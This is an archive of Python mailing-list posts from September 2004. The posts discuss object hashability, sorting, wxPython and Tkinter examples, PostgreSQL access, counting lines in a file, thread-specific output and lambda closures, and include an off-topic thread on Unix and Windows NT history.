Date: Fri, 3 Sep 2004 10:26:30 +0200
Subject: Modules are hashable?!
References: <2pld08Fm7mo8U1@uni-berlin.de>
	<1gjfpqj.1knk4mcpq5fj0N%aleaxit@yahoo.com>
	<4137ed92$1@news.unimelb.edu.au>
Message-ID: <1gjj8ek.1hrercr1fu5bzaN%aleaxit@yahoo.com>

Maurice LING <mauriceling at acm.org> wrote:

> Alex Martelli wrote:
> 
> > Leif K-Brooks <eurleif at ecritters.biz> wrote:
> > 
> > 
> >>I was just playing around, and noticed that modules seem to be hashable.
> >>Can anyone explain that, especially given the fact that they're mutable?
> > 
> > 
> > Any object x is hashable if type(x) does not expose __eq__ nor __cmp__.
> > In that case, the meaning of x==y for that object is 'x is y', that is,
> > id(x)==id(y), so having hash(x) return id(x) is perfectly functional.
> > Mutation is not a problem if it doesn't affect equality comparisons.
> > 
> > 
> > Alex
> 
> The idea that I get from reading this thread is that objects that can be
> type compared (comparing the contents) are not hashable, and they are

Never said that!  I said the reverse: if objects are compared by id
they're also hashable (in the same way).  "All cats are mammals" does
not imply "all mammals are cats".  Objects can perfectly well be
hashable, AND compared by contents at the same time -- that's where
immutability (of those contents which affect comparison and thus
hashing) is a practical necessity.

"Practical", not theoretical: "def __hash__(self): return 23" will in
fact ensure correct semantics.  Unfortunately, it will do so at the
expense of intolerable performance hits any time a number of objects of
this type are used as dictionary keys... if you know anything about
hashing you can see why this can't fail to be so.

> list, strings, tuples and dictionary. Is there any others that fall into
> this category? Is there any way to make them hashable?

strings are hashable, and so are tuples if all their items are hashable.
That is because they define proper __hash__ methods (or rather the C API
equivalent, of course) that cooperate properly with their __cmp__
methods, basically ensuring that x==y implies hash(x)==hash(y).  But
that's hard to ensure, together with the fact that hash(x) must always
give the same result for a given x, for general mutable containers such
as lists and dicts.


> Hashable objects, on the other hand, are hashed based on say, the 
> pointer address pointing the object or an identifier in the Python VM
> symbol table or something. It's like to say that when you hash a human,
> you get the name and not the physical dimensions of the person. The 
> person can grow fat or slim down, but the name is still the same.

As long as your equality-comparison only relies on immutable
characteristics you're fine.  Unfortunately in most countries it IS
legal to change name at least in some circumstances (e.g. it used to
happen almost automatically to a woman when she married, in many
countries, some time ago...) so this wouldn't work in this case;-).


Alex


From adalke at mindspring.com  Sat Sep  4 00:27:58 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Sat, 04 Sep 2004 04:27:58 GMT
Subject: list conversion question
In-Reply-To: <3Ma_c.13188$Dl4.3729@fe2.texas.rr.com>
References: <mailman.2860.1094267481.5135.python-list@python.org>
	<3Ma_c.13188$Dl4.3729@fe2.texas.rr.com>
Message-ID: <ivb_c.6952$w%6.2458@newsread1.news.pas.earthlink.net>

Paul McGuire wrote:
> Assuming im.histogram() returns a list like [ 0, 1, 0, 5, 43, etc. ] how
> about:
> 
> hist = [ 0, 1, 0, 5, 43 ]
> values = [ i for i in enumerate(hist)]
> values.sort(lambda a,b: cmp(b[1],a[1]))
> indexes = [ a for a,b in values ]

or tweaked a bit for speed (a sort with a lambda is expensive)
and for clarity, IMO,

pairs = [(value, offset) for (offset, value) in enumerate(hist)]
pairs.sort()
indexes = [offset for (value, offset) in pairs]

In Python2.4 this is allowed

 >>> hist = [ 0, 1, 0, 5, 43 ]
 >>> [pair[0] for pair in sorted(enumerate(hist),
...                             key=lambda pair: pair[1])]
[0, 2, 1, 3, 4]
 >>>

Not yet sure that that's a good thing.

				Andrew
				dalke at dalkescientific.com


From torves at yahoo.com  Sun Sep 19 01:13:10 2004
From: torves at yahoo.com (Davis Chord)
Date: Sun, 19 Sep 2004 05:13:10 GMT
Subject: Closed-source, possible?
Message-ID: <Gz83d.1044$6eS.955@news04.bloor.is.net.cable.rogers.com>

I'm a fairly new Python developer, so I hope that some of my ignorance in
this area is understandable. :)

I'm developing an application, and I'm uncertain about releasing it as
open-source. The main reason I thought about open-source was because ever
Python program I've seen is, truly. Doh.

I've heard/seen/used the pyc program that turns your .py files into .pyc
files, but I'm wondering how easily someone can get to your source from
these compiled files. If it's not possible to have a portable progam thats'
source cannot be easily accessed (or at all :P), then open-source is just
easier.

Thanks!




From clifford.wells at comcast.net  Mon Sep 13 02:26:05 2004
From: clifford.wells at comcast.net (Cliff Wells)
Date: Sun, 12 Sep 2004 23:26:05 -0700
Subject: 'telegraphy' as a means of data entry
In-Reply-To: <ci1jrg$6fd$1@sea.gmane.org>
References: <QOK0d.394968$gE.276141@pd7tw3no>
	<8YGdnbbBS6xILt7cRVn-iA@powergate.ca><llT0d.382584$M95.334812@pd7tw1no>
	<S-ydnXbZkPyO0NncRVn-jg@powergate.ca>  <ci1jrg$6fd$1@sea.gmane.org>
Message-ID: <1095056766.26967.61.camel@devilbox.devilnet.internal>

On Sun, 2004-09-12 at 15:44 +0200, Fredrik Lundh wrote:
> Peter Hansen wrote:
> 
> > > | > I need to record the respective times of the events in a sequence of
> > > | > presses/releases of a particular key on the computer keyboard.
> 
> > And Tkinter could certainly do it to, but I don't do Tkinter. :)
> 
> in Tkinter, you'll find the event time (in milliseconds) in the time
> attribute of the event descriptor:

> also note that unlike Peter's example, the time attribute contains
> the time when the event was generated, not when it reached your
> program.


Here's a more complete example in wxPython.  Like the effbot's example,
this uses the time the event was generated.  I didn't really feel like
examining all the possible places a wav file might exist on all
platforms, but here's a start:


import wx

SOUND = {
    '__WXMSW__': 'c:/winnt/media/ding.wav',
    '__WXGTK__': '/usr/share/sounds/generic.wav',
    }[wx.Platform]

class Panel(wx.Panel):
    def __init__(self, parent, id):
        wx.Panel.__init__(self, parent, id)
        self.ts = None
        self.sound = wx.Sound(SOUND)
        if not self.sound.IsOk():
            self.sound = None
            print "Your sound file is bad."
        self.Bind(wx.EVT_KEY_DOWN, self.OnKeyDown)

    def OnKeyDown(self, evt):
        if evt.GetKeyCode() == wx.WXK_DELETE:
            t = evt.GetTimestamp() / 1000.0
            if self.ts is not None:
                print "time between", t - self.ts
            self.ts = t
            if self.sound:
                self.sound.Play(wx.SOUND_ASYNC)
        
class Frame(wx.Frame):
     def __init__(self):
         wx.Frame.__init__(self, None, -1, 'test')
         p = Panel(self, -1)

if __name__ == '__main__':
    app = wx.PySimpleApp()
    frame = Frame()
    frame.Show()
    app.MainLoop()


Regards,
Cliff

-- 
Cliff Wells <clifford.wells at comcast.net>



From stevena at neosynapse.net  Wed Sep 29 23:59:09 2004
From: stevena at neosynapse.net (Steven Arnold)
Date: Wed, 29 Sep 2004 23:59:09 -0400
Subject: constructing binary backslash-n
In-Reply-To: <loom.20040930T054552-306@post.gmane.org>
References: <F84E7671-127F-11D9-9E53-000A95D49904@neosynapse.net>
	<1f7befae04092919484211a3bb@mail.gmail.com>
	<1985B3AF-1290-11D9-9E53-000A95D49904@neosynapse.net>
	<loom.20040930T054552-306@post.gmane.org>
Message-ID: <150812DC-1295-11D9-9E53-000A95D49904@neosynapse.net>


On Sep 29, 2004, at 11:47 PM, Steven Bethard wrote:

> Steven Arnold <stevena <at> neosynapse.net> writes:
>
>> I want to be able to receive a letter like 'n', let's say as user
>> input, and generate the single byte escape value of backslash-n or
>> ASCII 10, as a string of length 1...
>
> Does this do what you're looking for:
>
>>>> ('\\\\' + 'r').decode('string_escape')
> '\\r'
>>>> ('\\\\' + 'n').decode('string_escape')
> '\\n'
>
> (I just learned this today in an earlier thread...)

Yes!  Perfect.  I assume your backslashes got screwed up like my 
earlier message.  I think what you meant was:

 >>> ('<backslash><backslash>' + 'r').decode('string_escape')
'<backslash>r'

THAT is exactly what I was looking for.  Thanks!

steve



From peter.maas at mplusr.de  Thu Sep  9 03:39:49 2004
From: peter.maas at mplusr.de (Peter Maas)
Date: Thu, 09 Sep 2004 09:39:49 +0200
Subject: Connecting to a postgresql DB?
In-Reply-To: <pan.2004.09.08.21.54.22.327805@augustmail.com>
References: <pan.2004.09.08.21.54.22.327805@augustmail.com>
Message-ID: <chp1c8$1pi$1@swifty.westend.com>

Lance Hoffmeyer schrieb:
> I am trying to learn some basics of python.  One of the things
> I want to do is write a script to access a postgresql database
> DB as user USER with password PW and 
> 
> SELECT first_name, last_name, birthday FROM contacts
> 
> print to the screen and then disconnect.

URLs for required modules:

- mxDateTime
   http://www.egenix.com/files/python/eGenix-mx-Extensions.html
- pypgSQL:
   http://sourceforge.net/project/showfiles.php?group_id=16528

Example code:

#!/usr/bin/env python
# -*- coding: latin-1 -*-

"""
Example code for reading data from a PostgreSQL database. This
code requires the modules mxDateTime and pyPgSQL (DB-API 2.0
compliant so that the calls are not database dependent except
of connection URL and some SQL capabilities).
"""

# PostgreSQL interface module
from pyPgSQL import PgSQL

if __name__ == '__main__':
     # open connection
     con = PgSQL.connect(None, "aUser", "aPasswd", "aHost", "aDatabase")

     # create cursor
     c_adr = con.cursor()

     # let cursor execute an SQL command
     c_adr.execute("SELECT * FROM address")

     # fetch a result set
     r_adr = c_adr.fetchmany(10)

     # The result set is a list of records.
     print r_adr[0]

     #  Each record is a dictionary like object with field names as keys.
     print r_adr[0].keys()

     # The field values are the dictionary values.
     print r_adr[0]["firstname"]

     # print all records
     for record in r_adr:
         print record


Mit freundlichen Gruessen,

Peter Maas

-- 
-------------------------------------------------------------------
Peter Maas,  M+R Infosysteme,  D-52070 Aachen,  Tel +49-241-93878-0
E-mail 'cGV0ZXIubWFhc0BtcGx1c3IuZGU=\n'.decode('base64')
-------------------------------------------------------------------


From matloff at laura.cs.ucdavis.edu  Tue Sep 21 13:03:11 2004
From: matloff at laura.cs.ucdavis.edu (Norm Matloff)
Date: Tue, 21 Sep 2004 17:03:11 +0000 (UTC)
Subject: python ides
References: <cip735$e01$1@sea.gmane.org>
	<mailman.3644.1095773039.5135.python-list@python.org>
Message-ID: <slrncl0nmf.424.matloff@laura.cs.ucdavis.edu>

I agree with Jeff's comments 100%.

Some years ago I used WingIDE for Java a bit, and I agree that it was
quite nice.  I'll bet the Python version is equally nice.  But I also
recall that, like almost all IDEs, it has a significant startup time,
and has various other kinds of overhead.

And YES, I definitely DO want to use the same text editor (in my case,
vim) in all the work I do, from programming to word processing to e-mail.

In my view, IDEs add little functionality at rather great cost in terms
of time, memory, etc.  It gives a nice visual pleasure, and to those who
didn't come of age during the command-line days, this pleasure is taken
as a given, but I think the IDE concept is vastly overrated.  Making
good use of sophisticated text editor will give you the same programming
benefits without the drawbacks.

But hey, I sometimes surf the Web using Lynx. :-)

Norm Matloff

In article <mailman.3644.1095773039.5135.python-list at python.org>, 
Jeff Epler wrote: 

> That's all very nice, but is it keystroke compatible with vim (including
> the obscure stuff)?  Will it run in a terminal?  Does it meet the DFSG,
> or any other important definition of "free software" or "open source
> software"?  How are the memory footprint and startup time?  Emacs users
> may raise many of the same objections.
... 



From follower at gmail.com  Sun Sep  5 09:52:49 2004
From: follower at gmail.com (Follower)
Date: 5 Sep 2004 06:52:49 -0700
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Aug 31)
References: <ch2lao$om8$1@lairds.us>
Message-ID: <3c18c08f.0409050552.2867e614@posting.google.com>

> http://richard.jones.name/google-hacks/gmail-filesystem/gmail-filesystem.html

"libgmail is the main reason Gmailfs is Python."
 -- Author of GmailFS in private email (with permission).

I'm filing this under the good-code-as-promotional-tool category. :-)

--Phil.


From jkn_gg at nicorp.f9.co.uk  Fri Sep 17 12:33:37 2004
From: jkn_gg at nicorp.f9.co.uk (Jon Nicoll)
Date: 17 Sep 2004 09:33:37 -0700
Subject: [OT] tabbed command line window? WAS Re: Ranting about the state of
	Python IDEs for Windows
Message-ID: <e4eaecf8.0409170833.44be4a71@posting.google.com>

Hi all
   some comments in the earlier thread about tabbed windows with VIM
reminded me of a scratch I'd like to itch: does anyone know of a
tabbed command line utility for Win32? I'd like something like
KDEterm, where you can have multiple tabbed command line 'sessions' in
a single window, just switching between the tabs as desired.

I sometimes need to use several command line prompt windows at once
(different directories, environment variables etc.) and it would be
great to collect these all together into one window. I've looked a few
times but never found anything that comes close...

    Thanks for any suggestions

    jon N


From english at spiritone.com  Fri Sep 10 17:08:18 2004
From: english at spiritone.com (Josh English)
Date: Fri, 10 Sep 2004 14:08:18 -0700
Subject: Binding? problem
Message-ID: <cht54g0jhl@enews1.newsguy.com>

I may not be using the language properly, but I suspect what I have is a 
  binding problem and I'm wondering if there's a better solution than 
what I've come up with.

I'm working on a Stack based language that can import methods from 
predefined libraries. Here's what I mean.
-------
class S:
	def __init__(self,value):
		self.value = value
		
	def __repr__(self):
		return '<%s>' % (self.__class__.__name__)

class Library:
	
	### this method refers to 'self.s' which it isn't
	### an attribute or method
	def do_this(self):
		self.s.value = 'this'
		

class Runner:
	def __init__(self):
		self.s = S('whock')
	
	def __repr__(self):
		return '<%s %s>' % (self.__class__.__name__,self.S)

	def importmethod(self,obj):
		#setattr(self,obj..__name__,obj.do_this)
		self.do_this = obj.do_this

r = Runner()
print dir(r)

r.importmethod(Library)
r.do_this()
-----------
This basically all I want to do, but the last line raises an error 
because the Library class has no attribute 's'. Right now my workaround 
is to declare the do_this() method of the Library class:


	def do_this(self,parent):
		parent.s.value = 'this'

and use this in the Runner class:

	def importmethod(self,obj):
		setattr(self,'do_this',obj.do_this)
		#self.do_this =getattr(obj,'do_this')

Is there a better way to do this?

Thanks,
Josh English
english-at-spiritone.com



From holbertr at dma.org  Wed Sep  1 15:09:37 2004
From: holbertr at dma.org (Rick Holbert)
Date: Wed, 01 Sep 2004 15:09:37 -0400
Subject: function returning a list
References: <ch52ou$bp4$1@solaris.cc.vt.edu>
Message-ID: <ch56ph$37f$1@charm.magnus.acs.ohio-state.edu>

Brad Tilley wrote:

> Can a function return a list?

Yes

>>> def return_list():
...     list = [1, 2, 3]
...     return list
...
>>> l = return_list()
>>> l
[1, 2, 3]



From newsreply at transfertech.de  Thu Sep 30 12:19:34 2004
From: newsreply at transfertech.de (Axel Mittendorf)
Date: Thu, 30 Sep 2004 18:19:34 +0200
Subject: thread execution order
References: <cjh1hd$rek$03$1@news.t-online.com>
	<STT6d.25$Za.8@llslave.llan.ll.mit.edu>
	<cjh4nb$opt$05$1@news.t-online.com>
	<TZV6d.27$Za.13@llslave.llan.ll.mit.edu>
Message-ID: <cjhb9e$900$02$1@news.t-online.com>

"Rembrandt Q Einstein" <hercules.rockefeller at springfield.??.us> wrote:
> You don't need a timer.  Just every time your program tries to write, it
> first checks the pipe.  If it can write, it does.  If it can't, it
> buffers until the next time it tries.
What if there is no "next time". The buffered message might be buffered
until
my not yet planned child can program perl (no way, tv is enough)
or Linux is sold in bottles ;-)

THX, Axel




From f.geiger at vol.at  Wed Sep 29 09:56:14 2004
From: f.geiger at vol.at (F. GEIGER)
Date: Wed, 29 Sep 2004 15:56:14 +0200
Subject: Calling (C)Python code from Java: Is it JPype?
Message-ID: <cjeem1$5h9$1@newshispeed.ch>

I've dev'ed a Python prototype of an app, that besides the internals making
it up has a gui. While test-driven dev'ing the app's internals in Python is
fun as usual, dev'ing the GUI is not so funny, at least for me.

I guess dev'ing a GUI in a test-driven way is not possible, or is it? I'm
using wxPython, so if anyone has an idea...

For now most of the time I extend and change the gui things, then run it, do
the clicks to go thru the new things and - bang: Missing attribute bla bla
bla or an error like that. Yes, I use Pychecker, but it isn't of real help
in gui dev'ing (at least in my GUIs ;-)).

So, a compiler could ease things a bit here. While I want the complicated
stuff remaining written in Python, I'd write the GUI things in Java. Java,
because I plan to run the app on Linux too (dev'ing on Windows for now).
Otherwise *.NET could be an option (well, perhaps I should look at Mono).

Now, if I go the Java route, how can I call my Python stuff from Java, if I
do not want to use Jython, which lags behind CPython 3 minor versions (2.1.
vs. 2.4)? Google showed up JPype, but this seems to enable me the other way
round: Call Java code from CPython. Or are there any plans to make this
possible the other way round too?

Any other options here?

Many thanks in advance
Franz GEIGER








From rff_rff at remove-yahoo.it  Tue Sep  7 18:57:19 2004
From: rff_rff at remove-yahoo.it (gabriele renzi)
Date: Tue, 07 Sep 2004 22:57:19 GMT
Subject: Automated Perl to Python translation?
In-Reply-To: <413d82d3$1@news.unimelb.edu.au>
References: <b16e4ef7.0409040550.4432a70f@posting.google.com>
	<413d82d3$1@news.unimelb.edu.au>
Message-ID: <j1r%c.88007$OH4.2514122@twister1.libero.it>

Maurice LING ha scritto:


> If this can be worked out, Perl/Python/Java combination is too powerful 
> to imagine......
> 

I think you'd be  happy with parrot or .net ;)


From michele.petrazzo at TOGLIunipex.it  Tue Sep 14 07:56:55 2004
From: michele.petrazzo at TOGLIunipex.it (Michele Petrazzo)
Date: Tue, 14 Sep 2004 13:56:55 +0200
Subject: [WX] wxRadioBox and change choice
In-Reply-To: <ZLSdnbJneIXBStvcRVn-iQ@powergate.ca>
References: <ci6jpn$b7v$1@lacerta.tiscalinet.it>
	<ZLSdnbJneIXBStvcRVn-iQ@powergate.ca>
Message-ID: <ci6mbp$d3j$1@lacerta.tiscalinet.it>

Peter Hansen wrote:
> Michele Petrazzo wrote:
> 
>> I create a widget like this:
>> self.rb_method = wxRadioBox(choices=['choice1', 'choice2'], id=-1,
>>  label='Method', name='rb_method', parent=self, point=wxPoint(8, 320),
>>  size=wxSize(168, 72), style=wxRA_SPECIFY_COLS,)
>>
>> I want to change choice (the choice' labels) in runtime use, so in my 
>> code, choice1 -> test1, choice2 -> test2
>> The wxRadioBox have Setlabel method, but it only change the "title", 
>> not the choices.
>> Is it possible to do it? Or I must destroy and recreate the widget?
> 
> 
> The documentation (specifically the wxWindows reference) says this
> under SetLabel, which in C/C++ is overloaded to allow this:
> 
> wxPython note: In place of a single overloaded method name, wxPython 
> implements the following methods:
> 
>  SetLabel(string)  Sets the radiobox label.
>  SetItemLabel(n, string)  Sets a label for a radio button.
I read the documentation of RadioBox about 10-15 times, but I don't see 
this option. I need a coffee. :)

Thanks,
Michele


From greg at cosc.canterbury.ac.nz  Fri Sep 17 01:48:18 2004
From: greg at cosc.canterbury.ac.nz (Greg Ewing)
Date: Fri, 17 Sep 2004 17:48:18 +1200
Subject: up with PyGUI!
In-Reply-To: <m3isaf1xki.fsf@g2ctech.com>
References: <mailman.3318.1095180577.5135.python-list@python.org>	<m3vfeg69xp.fsf@g2ctech.com>
	<2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com>
Message-ID: <2qvc54F143difU1@uni-berlin.de>

Jorge Godoy wrote:
> I'm not familiar with the looks on Macs...

In that case, seeing a screen shot wouldn't
help you decide whether it looked Mac-like. :-)

>>As far as I can remember, I drew them with Appleworks 6,
>>printed them to PDF files, opened them with Preview and
>>then saved them as jpegs. (Photoshop might also have been
>>involved in there somewhere, I don't recall now.)
> 
> Too bad these aren't tools available on Linux or FreeBSD...  I really
> liked the way they look :-)

Yep, once again, Apple is way ahead of everyone else with
their integration of PDF imaging into the core graphics
stuff. That's what gives those images their nice anti-
aliased look...

-- 
Greg Ewing, Computer Science Dept,
University of Canterbury,	
Christchurch, New Zealand
http://www.cosc.canterbury.ac.nz/~greg



From p at ulmcnett.com  Fri Sep 10 13:36:59 2004
From: p at ulmcnett.com (Paul McNett)
Date: Fri, 10 Sep 2004 10:36:59 -0700
Subject: Executing system commands with wxpython
In-Reply-To: <3dec2e051d82da31c9fe868669e3ce6d@localhost.talkaboutprogramming.com>
References: <3dec2e051d82da31c9fe868669e3ce6d@localhost.talkaboutprogramming.com>
Message-ID: <200409101036.59174.p@ulmcnett.com>

twsnnva writes:

> Could anyone give me an example (code) of a simple program
> with a button that when clicked executes a linux shell or
> windows dos command like "ifconfig" or "ipconfig" and prints
> the output somewhere in the same window. Thanks.

Okay, I just re-read your subject and you specified wxPython 
there, but I already wrote up how to do it with Tkinter. The 
irony is that I'm way more comfortable with wxPython, and had 
to spend extra time looking up the Tkinter syntax. Anyway, I'm 
not sure if your question is more "how to execute system 
commands" or "how to display a button" so why don't you run 
with this code and see if it works for you. 

Hint: you'll use the same Python code to execute system commands 
- the ui toolkit doesn't matter.

# -- Begin sample code

import sys, os
import Tkinter

# Define the main root top-level window:
root = Tkinter.Tk()

# Define the button and edit area:
button = Tkinter.Button(root, text="IP Configuration")
edit = Tkinter.Text(root)

# Lay out the button and edit area:
button.pack()
edit.pack()

# Define the callback function for the button click:
def sysCommand(evt):
	if "linux" in sys.platform:
		file = os.popen("/sbin/ifconfig")
		result = file.read()
		file.close()
	elif "win" in sys.platform:
		file = os.popen("ipconfig")
		result = file.read()
		file.close()
	else:
		result = "Unsupported Platform: '%s'" % sys.platform
	edit.insert(Tkinter.END, result)
	

# Bind a click of the button to our callback function:
button.bind("<Button>", sysCommand)
button.bind("<space>", sysCommand)

Tkinter.mainloop()

#-- end sample code


-- 
Paul McNett
Independent Software Consultant
http://www.paulmcnett.com


From aleaxit at yahoo.com  Mon Sep 20 09:29:18 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Mon, 20 Sep 2004 15:29:18 +0200
Subject: How to count lines in a text file ?
References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net>
	<414eda06$0$26379$ba624c82@nntp02.dk.telia.net>
Message-ID: <1gkf46r.1xrytm21mny6pfN%aleaxit@yahoo.com>

Ling Lee <janimal at mail.trillegaarden.dk> wrote:

> Oh I just did it.
> 
> Just used the line:
> 
> print "%d lines in your choosen file" % len(open("test.txt").readlines())
> 
> Thanks though :)

You're welcome;-).  However, this approach reads all of the file into
memory at once.  If you must be able to deal with humungoug files, too
big to fit in memory at once, try something like:

numlines = 0
for line in open('text.txt'): numlines += 1


Alex


From aurora00 at gmail.com  Wed Sep 15 18:58:24 2004
From: aurora00 at gmail.com (aurora)
Date: Wed, 15 Sep 2004 15:58:24 -0700
Subject: thread specific sys.stdout?
References: <opsedyrils6yt6e7@news.cisco.com>
	<ciabc0$seb$00$2@news.t-online.com>
Message-ID: <opsed4rmyp6yt6e7@news.cisco.com>

On Wed, 15 Sep 2004 23:14:47 +0200, Diez B. Roggisch <deetsNOSPAM at web.de>  
wrote:

> aurora wrote:
>
>> This may sound a little crazy. I capture the output of one class by
>> redirecting the sys.stdout. However the is another threading running at
>> the same time and occasionaly it output some messages to the redirected
>> sys.stdout irreleveant to the output I want to capture. Is there a way  
>> to
>> redirect output specific to some threads?
>
> You could replace sys.stdout by a class that splits the written text
> depending on the current thread. It might look roughly like this:
>
> class ThreadPrinter:
>     def __init__(self):
>         _.fhs = {}
>
>     def write(self, value):
>         f = _.fhs.get(threading.currentThread(),
> open(get_some_nice_file_name(), "w")
>         f.write(value)
>         _.fhs[threading.currentThread()] = f
>
> Now before starting your threads, replace sys.stdout with an instance of
> ThreadPrinter:
>
> sys.stdout = ThreadPrinter()
>
>

Thanks this is a nice idea. I hope Python would actually support the '_'  
syntax. The self really reduce readablity, especially if you have several  
of them in one line.



From mark at prothon.org  Wed Sep  1 16:00:10 2004
From: mark at prothon.org (Mark Hahn)
Date: Wed, 1 Sep 2004 13:00:10 -0700
Subject: Announcing PyCs, a new Python-like language on .Net
References: <mailman.2572.1093751093.5135.python-list@python.org>
	<1093788608.645541@news.commspeed.net>
	<mailman.2712.1094021283.5135.python-list@python.org>
	<7xoekq4ehv.fsf@ruckus.brouhaha.com>
Message-ID: <gx8haghholfn.g4vz6pwzmdbg$.dlg@40tude.net>

On 01 Sep 2004 00:47:40 -0700, Paul Rubin wrote:

> Mark Hahn <mark at prothon.org> writes:
>> I would have agreed with you before I saw the details of the C-Omega
>> language.  Check out this paper on how XML and SQL are handled directly in
>> the language:  
>> 
>> http://www.cl.cam.ac.uk/%7Egmb/Papers/vanilla-xml2003.html.
> 
> Yuck, Javascript handled those tasks just fine, it seemed to me.

Did you actually read the paper?


From jwkenne at attglobal.net  Fri Sep  3 12:12:52 2004
From: jwkenne at attglobal.net (John W. Kennedy)
Date: Fri, 03 Sep 2004 16:12:52 GMT
Subject: Xah Lee's Unixism
In-Reply-To: <ur7pks59p.fsf@mail.comcast.net>
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca> <41376B82.C6A202FC@yahoo.com>
	<P5GdnU8q-8Sw66rcRVn-qg@powergate.ca>
	<0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com>
	<ur7pks59p.fsf@mail.comcast.net>
Message-ID: <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net>

Anne & Lynn Wheeler wrote:
> i have some recollection of competing bids building single unit
> assemblies at sea coast sites allowing them to be barged to
> florida. supposedly the shuttle boosters were sectioned specifically
> because they were being fabricated in utah and there were
> transportation constraints.

Yes.  A vastly inferior design was used, which ended up killing seven 
astronauts, because Orrin Hatch had to be appeased with boodle for Utah.

-- 
John W. Kennedy
"Give up vows and dogmas, and fixed things, and you may grow like That. 
...you may come to think a blow bad, because it hurts, and not because 
it humiliates.  You may come to think murder wrong, because it is 
violent, and not because it is unjust."
   -- G. K. Chesterton.  "The Ball and the Cross"


From kkt at drizzle.com  Thu Sep  2 19:32:21 2004
From: kkt at drizzle.com (Patrick Scheible)
Date: 02 Sep 2004 16:32:21 -0700
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch>
	<87hdqptl96.fsf_-_@thalassa.informatimago.com>
	<4PGdnfsOfdDPi63cRVn-tA@speakeasy.net>
	<slrncj1745.t5q.amajorel@atc5.vermine.org>
	<41337FC9.8070902@hotmail.com>
	<slrncj7hhh.2pt.amajorel@atc5.vermine.org>
	<p7v7j0plcfbden593l1irfprmfkp4d3k51@4ax.com>
	<slrncj8m5n.2pt.amajorel@atc5.vermine.org>
	<%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net>
	<2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com>
	<opsdpdzglzpqzri1@mjolner.upc.no>
	<1094141001.125507@teapot.planet.gong>
Message-ID: <tqmzn48b62i.fsf@drizzle.com>

Rupert Pigott <roo at try-removing-this.darkboong.demon.co.uk> writes:

> John Thingstad wrote:
> > On Thu, 02 Sep 2004 08:35:30 GMT, Brian Inglis
> > <Brian.Inglis at SystematicSW.Invalid> wrote:
> >
> >> On Tue, 31 Aug 2004 14:26:03 GMT in alt.folklore.computers, "John W.
> >> Kennedy" <jwkenne at attglobal.net> wrote:
> >>
> >>> Andre Majorel wrote:
> >>>
> >>>> On 2004-08-31, Brian Inglis <Brian.Inglis at SystematicSW.Invalid> wrote:
> >>>>
> >>>>> On Tue, 31 Aug 2004 01:12:55 +0000 (UTC) in alt.folklore.computers,
> >>>>> Andre Majorel <amajorel at teezer.fr> wrote:
> >>>>>
> >>>>>
> >>>>>> On 2004-08-30, Antony Sequeira <usemyfullname at hotmail.com> wrote:
> >>>>>
> >>>>>
> >>>>>>> Windows (MS) is not 'Unixism'?
> >>>>>>
> >>>>>>
> >>>>>> If by unixism, you mean any operating system that has a
> >>>>>> hierarchical filesystem and byte stream files, yes. But that
> >>>>>> would include quite a few other non-Unix operating systems,
> >>>>>> including Mac OS 9, Prologue and probably everything else this
> >>>>>> side of CP/M (DOS 1.x shall be deemed to be CP/M).
> >>>>>
> >>>>>
> >>>>> DOS 2.x+ shall be deemed to be CP/M+!
> >>>>
> >>>>
> >>>>
> >>>> Wasn't it in version 2 that they added directories and
> >>>> Unix-style file handles ?
> >>>
> >>>
> >>> Yes, and also a single-process pipe emulator.  Ever since 2.0, MS has
> >>> been trying to turn MS-DOS (later, Windows) into a Unix clone.
> >>
> >>
> >> MS has been borrowing code from Unix to create a real OS: TCP/IP;
> >> NTFS<-ffs; memory mapped files<-mmap.
> >> Shame they keep trying to add their own ideas in too: that must be
> >> what causes the crashes!
> >>
> > You seeem misinformed.
> > Microsoft swallowed up a team from DEC.
> > The were developing a operating system called PRISM.
> > When the project was cancelled they quit DEC in protest.
> > These peaple had more than a 100 years of experience in developing
> > muliuser /
> > mutitasking operating systems between them. The fact that the NT
> > kernel is  not
> > entirely stable yet really shouldn't supprise anyone. Afterall Unix
> > has  messed with
> > it's kernel for 30 years. But the modular arcitecture and the
> > microkernel  are new ideas in
> > OS design and should in time lead to a more extensible OS than unix.
> 
> uKernels are *NOT* a new idea at all. They weren't a new idea when
> NT was unleashed on the world. What people think of as "NT" is a big
> pile of shite that obscures the uKernel. Since the graphics stuff
> got put into ring 0 I think that you could legitimately claim that
> BSD Unix is more of a micro kernel than NT. :)
> 
> > (Unix tradionally has a spagetti of intercalling function calls as a
> > kernel.)
> 
> Remember NeXTStep ?

Yes.  NeXTStep didn't have a microkernel.  The Mach kernel didn't get
changed to a microkernel design until after NeXTStep split off from
it.

-- Patrick



From fumanchu at amor.org  Thu Sep 16 11:19:36 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Thu, 16 Sep 2004 08:19:36 -0700
Subject: "Updating" lambda functions
Message-ID: <3A81C87DC164034AA4E2DDFE11D258E3022EE0@exchange.hqamor.amorhq.net>

Oliver Fromme wrote:
> I'm trying to write a Python function that parses
> an expression and builds a function tree from it
> (recursively).
> 
> During parsing, lambda functions for the the terms
> and sub-expressions are constructed on the fly.
> Now my problem is lazy evaluation.  Or at least I
> think it is.  :-)
> 
> I need to "update" a lambda function, like this:
> 
>         fu = lambda x: x
>         ...
>         fu = lambda x: fu(x) + 17
>         ...
>         fu = lambda x: fu(x) * 3
> 
> Of course that doesn't work, because fu is resolved
> when the lambda is called, not when it's defined, so
> I'll run into an endless recursion.
> 
> My current solution is to define a helper function
> which passes the lambda through its argument:
> 
>         def add_17 (fu):
>                 return lambda x: fu(x) + 17
> 
>         def mul_3 (fu):
>                 return lambda x: fu(x) * 3
> 
>         fu = lambda x: x
>         ...
>         fu = add_17(fu)
>         ...
>         fu = mul_3(fu)
> 
